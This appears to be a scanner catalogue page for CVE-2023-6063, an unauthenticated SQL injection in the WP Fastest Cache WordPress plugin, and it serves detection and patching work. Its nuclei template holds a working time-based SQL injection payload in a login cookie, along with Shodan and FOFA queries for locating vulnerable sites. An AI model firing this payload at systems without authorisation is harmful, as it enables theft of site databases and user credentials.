WP Fastest Cache 1.2.2 - SQL Injection

highseverity

7.5CVSS score

73.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The WP Fastest Cache WordPress plugin before 1.2.2 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.

Impact

Unauthenticated attackers can execute SQL injection to extract the complete WordPress database including user credentials and site data.

Fix

Fixed in 1.2.2

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wp-fastest-cache/readme.txt
Positive when: status_code == 200 and contains(body, "WP Fastest Cache")
Send: @timeout: 20s
Positive when: duration>=7 and status_code == 200 and contains(body, "/wp-")

Run it with nuclei: nuclei -id CVE-2023-6063 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-6063

info:
  name: WP Fastest Cache 1.2.2 - SQL Injection
  author: DhiyaneshDK
  severity: high
  description: |
    The WP Fastest Cache WordPress plugin before 1.2.2 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.
  impact: |
    Unauthenticated attackers can execute SQL injection to extract the complete WordPress database including user credentials and site data.
  remediation: Fixed in 1.2.2
  reference:
    - https://wpscan.com/blog/unauthenticated-sql-injection-vulnerability-addressed-in-wp-fastest-cache-1-2-2/
    - https://wordpress.org/plugins/wp-fastest-cache/
    - https://github.com/motikan2010/CVE-2023-6063-PoC
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6063
    - https://wpscan.com/vulnerability/30a74105-8ade-4198-abe2-1c6f2967443e/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6063
    cwe-id: CWE-89
    epss-score: 0.73708
    epss-percentile: 0.99477
    cpe: cpe:2.3:a:wpfastestcache:wp_fastest_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpfastestcache
    product: "wp_fastest_cache"
    framework: wordpress
    shodan-query: "http.html:/wp-content/plugins/wp-fastest-cache/"
    fofa-query: "body=/wp-content/plugins/wp-fastest-cache/"
    publicwww-query: "/wp-content/plugins/wp-fastest-cache/"
  tags: time-based-sqli,cve,cve2023,wp-fastest-cache,wpscan,wordpress,wp-plugin,sqli,wpfastestcache,vuln,vkev
flow: |
    if (http(1)) {
        for (let i = 0; i < 2; i++) {
            http(2);
        }}

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-fastest-cache/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WP Fastest Cache")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: wordpress_logged_in=" AND (SELECT 5025 FROM (SELECT(SLEEP(7)))NkcI) AND "tqKU"="tqKU

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(body, "/wp-")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from